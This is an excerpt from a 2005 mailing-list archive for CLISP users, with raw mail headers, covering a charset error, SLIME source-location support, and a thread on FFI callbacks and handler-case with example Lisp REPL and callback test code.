kania_potter@yahoo.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> (Kania Potter's message of "Fri, 5 Aug 2005 06:54:25 -0700 (PDT)") References: <17136.62347.712663.634272@thalassa.informatimago.com> <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, kania_potter@yahoo.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: connect to database postgresql Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 08:01:35 2005 X-Original-Date: Fri, 05 Aug 2005 10:58:34 -0400 > * Kania Potter [2005-08-05 06:54:25 -0700]: > > But, every time I run clisp, I got the following > output: > > *** - invalid byte #xF8 in CHARSET:UTF-8 conversion, > not a Unicode-16. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two ways to write error-free programs; only the third one works. From sds@gnu.org Fri Aug 05 12:58:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E18Kc-0007RS-9k for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 12:58:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E18KX-00010q-Ch for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 12:58:14 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j75Jvt65016233 for ; Fri, 5 Aug 2005 15:57:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] attn: slime users Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 12:59:27 2005 X-Original-Date: Fri, 05 Aug 2005 15:57:13 -0400 CLISP SLIME users might want to grab CLISP cvs head and nag SLIME developers to use it too: (documentation 'symbol 'sys::file) now returns a list of (file start-line end-line). file = file where the symbol was defined start-line and end-line are the locations in the file. note that when file is "foo.fas", line numbers should still point to "file.lisp"! if the slime users & developers are happy with this, this functionality will be exported (i.e., EXT:FILE instead or SYS::FILE). comments are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k A computer scientist is someone who fixes things that aren't broken. From lisp-clisp-list@m.gmane.org Sat Aug 06 00:01:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1IgU-0002TP-Ck for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 00:01:30 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E1IgT-0004Y1-4a for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 00:01:30 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E1IfJ-0004p9-Eo for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 09:00:17 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Aug 2005 09:00:17 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Aug 2005 09:00:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 34 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:57wYUBAs8K5rgBmM8ZriQUaGybk= X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 6 00:03:16 2005 X-Original-Date: Fri, 05 Aug 2005 23:59:35 -0700 Hi, I am trying to embed an interpreter inside my application. I call a function in the "dll" and the dll then calls back a function into lisp. And this then starts the lisp interpreter. The problem which I was facing was that if the user inputs a valid construct to the interpreter things work fine, but if he inputs something wrong lisp crashes. So, to avoid it, I tried condition handling use "handler-case", but when I use handler case, lisp crashes even for valid inputs. Is this a known problem, or is it only specific to what I am doing? The function begin-loop below is the one which is being called by my lisp application. The problem which I (defun begin-loop() (let (construct) (loop for i from 1 to 2 do (setf construct (read)) (handler-case (print (eval construct)) (t () (print *ERROR-OUTPUT*)) )))) Thanks for your response. Regards, -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From pjb@informatimago.com Sat Aug 06 10:38:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1ScV-0001TS-Hv for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 10:38:03 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E1ScS-0007vG-Qj for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 10:38:03 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 8FD50585BE; Sat, 6 Aug 2005 19:37:48 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 65EE05833D; Sat, 6 Aug 2005 19:37:43 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 33C9A10FBF3; Sat, 6 Aug 2005 19:37:43 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17140.62823.23495.34834@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI & handler case, problem In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 6 10:40:08 2005 X-Original-Date: Sat, 6 Aug 2005 19:37:43 +0200 Surendra Singhi writes: > Hi, > I am trying to embed an interpreter inside my application. I call a function > in the "dll" and the dll then calls back a function into lisp. And this then > starts the lisp interpreter. The problem which I was facing was that if the > user inputs a valid construct to the interpreter things work fine, but if he > inputs something wrong lisp crashes. So, to avoid it, I tried condition > handling use "handler-case", but when I use handler case, lisp crashes even > for valid inputs. > > Is this a known problem, or is it only specific to what I am doing? > > The function begin-loop below is the one which is being called by my lisp > application. > > The problem which I > > (defun begin-loop() > (let (construct) > (loop for i from 1 to 2 do > (setf construct (read)) > (handler-case > (print (eval construct)) > (t () (print *ERROR-OUTPUT*)) > )))) You cannot print a stream, such as *ERROR-OUTPUT*. You may use this RELP: (defmacro handling-errors (&body body) `(HANDLER-CASE (progn ,@body) (simple-condition (ERR) (format *error-output* "~&~A: ~%" (class-name (class-of err))) (apply (function format) *error-output* (simple-condition-format-control err) (simple-condition-format-arguments err)) (format *error-output* "~&")) (condition (ERR) (format *error-output* "~&~A: ~% ~S~%" (class-name (class-of err)) err)))) (defun repl () (do ((+eof+ (gensym)) (hist 1 (1+ hist))) (nil) (format t "~%~A[~D]> " (package-name *package*) hist) (handling-errors (setf +++ ++ ++ + + - - (read *standard-input* nil +eof+)) (when (or (eq - +eof+) (member - '((quit)(exit)(continue)) :test (function equal))) (return-from repl)) (setf /// // // / / (multiple-value-list (eval -))) (setf *** ** ** * * (first /)) (format t "~& --> ~{~S~^ ;~% ~}~%" /)))) -- __Pascal Bourguignon__ http://www.informatimago.com/ Wanna go outside. Oh, no! Help! I got outside! Let me back inside! From lisp-clisp-list@m.gmane.org Sat Aug 06 14:11:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1Vx6-0002Ap-4Z for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 14:11:32 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E1Vx4-0008T9-KO for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 14:11:32 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E1Vvt-0008Qc-SK for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 23:10:17 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Aug 2005 23:10:17 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Aug 2005 23:10:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 29 Message-ID: References: <17140.62823.23495.34834@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:ESM13irNB3YJZSP/VwLNxJdSZnw= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 6 14:12:26 2005 X-Original-Date: Sat, 06 Aug 2005 14:09:09 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Hi, >> I am trying to embed an interpreter inside my application. I call a function >> in the "dll" and the dll then calls back a function into lisp. And this then >> starts the lisp interpreter. The problem which I was facing was that if the >> user inputs a valid construct to the interpreter things work fine, but if he >> inputs something wrong lisp crashes. So, to avoid it, I tried condition >> handling use "handler-case", but when I use handler case, lisp crashes even >> for valid inputs. >> >> Is this a known problem, or is it only specific to what I am doing? > [...code snipped...] Hello Pascal, Thanks for your repl-code, its very educative. But I am still facing the original problem with FFI and handler-case. Thanks once again. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From pjb@informatimago.com Sat Aug 06 15:14:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1Ww6-0004gJ-M4 for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 15:14:34 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E1Ww3-0000iZ-KE for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 15:14:34 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 9E6E1585C8; Sun, 7 Aug 2005 00:14:18 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 45A9A585BE; Sun, 7 Aug 2005 00:14:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2BE7010FBF3; Sun, 7 Aug 2005 00:14:13 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17141.13876.730904.757850@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: FFI & handler case, problem In-Reply-To: References: <17140.62823.23495.34834@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 6 15:15:40 2005 X-Original-Date: Sun, 7 Aug 2005 00:14:12 +0200 Surendra Singhi writes: > Pascal Bourguignon writes: > > > Surendra Singhi writes: > >> Hi, > >> I am trying to embed an interpreter inside my application. I call a function > >> in the "dll" and the dll then calls back a function into lisp. And this then > >> starts the lisp interpreter. The problem which I was facing was that if the > >> user inputs a valid construct to the interpreter things work fine, but if he > >> inputs something wrong lisp crashes. So, to avoid it, I tried condition > >> handling use "handler-case", but when I use handler case, lisp crashes even > >> for valid inputs. > >> > >> Is this a known problem, or is it only specific to what I am doing? > > > [...code snipped...] > > Hello Pascal, > > Thanks for your repl-code, its very educative. But I am still facing the > original problem with FFI and handler-case. You should be more precise. Give more code. In the mean time, try (you may have to adapt the file types and C compiler and linker invocations it to do it on MS-Windows): (with-open-file (out "callback.c" :direction :output :if-exists :supersede :if-does-not-exist :create) (princ " void call_me(int index,void (*callback)(const char*)){ switch(index){ case 0: callback(\"(princ \\\"Hello\\\")\"); break; case 1: callback(\"(print (/ 1 0))\"); break; case 2: callback(\"(defparameter *list* (list 1 2 3 4 5 6))\"); break; case 3: callback(\"(print (delete-if (function oddp) *list*))\"); break; default: callback(\"(error \\\"call_me: Invalid index\\\")\"); break; }} " out) (terpri out)) (defun compile-library (name) (let ((source (make-pathname :type "c" :defaults name)) (object (make-pathname :type "o" :defaults name)) (library (make-pathname :type "so" :defaults name))) (ext:shell (format nil "gcc -shared -fPIC -g -O3 -c -o ~A ~A" (namestring object) (namestring source))) (ext:shell (format nil "ld -shared -fPIC -g -o ~A ~A" (namestring library) (namestring object))) (FFI:CLOSE-FOREIGN-LIBRARY library))) (compile-library "./callback") (ffi:def-call-out call-me (:name "call_me") (:arguments (index ffi:int) (callback (ffi:c-function (:arguments (string ffi:c-string)) (:return-type nil) (:language :stdc)))) (:return-type nil) (:language :stdc) (:library "./callback.so")) (defun call-back (string) (print string) (values)) (dotimes (i 4) (call-me i (function call-back))) (defmacro handling-errors (&body body) `(HANDLER-CASE (progn ,@body) (simple-condition (ERR) (format *error-output* "~&~A: ~%" (class-name (class-of err))) (apply (function format) *error-output* (simple-condition-format-control err) (simple-condition-format-arguments err)) (format *error-output* "~&")) (condition (ERR) (format *error-output* "~&~A: ~% ~S~%" (class-name (class-of err)) err)))) (defun repl () (do ((+eof+ (gensym)) (hist 1 (1+ hist))) (nil) (format t "~%~A[~D]> " (package-name *package*) hist) (handling-errors (setf +++ ++ ++ + + - - (read *standard-input* nil +eof+)) (when (or (eq - +eof+) (member - '((quit)(exit)(continue)) :test (function equal))) (return-from repl)) (setf /// // // / / (multiple-value-list (eval -))) (setf *** ** ** * * (first /)) (format t "~& --> ~{~S~^ ;~% ~}~%" /)))) (dotimes (i 4) (call-me i (lambda (string) (with-input-from-string (*standard-input* string) (repl))))) ;; And even: [110]> (call-me 0 (lambda (string) (error "Let's break all the plates!"))) *** - Let's break all the plates! The following restarts are available: ABORT :R1 ABORT Break 1 [111]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # <11> # 1 APPLY frame for call (:LAMBDA '"(princ \"Hello\")") <12> # 1 <13> # 3 EVAL frame for form (CALL-ME 0 (LAMBDA (STRING) (ERROR "Let's break all the plates!"))) Printed 13 frames Break 1 [111]> -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From sds@gnu.org Sat Aug 06 19:58:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1bMS-0002KX-9w for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 19:58:04 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E1bMP-0005c1-6n for clisp-list@lists.sourceforge.net; Sat, 06 Aug 2005 19:58:04 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 06 Aug 2005 22:57:59 -0400 X-IronPort-AV: i="3.95,172,1120449600"; d="scan'208"; a="67498034:sNHT20603368" To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Fri, 05 Aug 2005 23:59:35 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 6 19:59:04 2005 X-Original-Date: Sat, 06 Aug 2005 22:57:10 -0400 > * Surendra Singhi [2005-08-05 23:59:35 -0700]: > > The problem which I was facing was that if the user inputs a valid > construct to the interpreter things work fine, but if he inputs > something wrong lisp crashes. So, to avoid it, I tried condition > handling use "handler-case", but when I use handler case, lisp crashes > even for valid inputs. I think you want to use global error handlers (they were created specifically for the sake of embedding CLISP) -- Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant == non-peeing section in a swimming pool From lisp-clisp-list@m.gmane.org Sun Aug 07 00:31:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1fcZ-0004zN-R0 for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 00:30:59 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E1fcW-0001p3-FA for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 00:30:59 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1E1fbl-00031b-Ik for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 09:30:09 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 Aug 2005 09:30:09 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 Aug 2005 09:30:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 33 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; 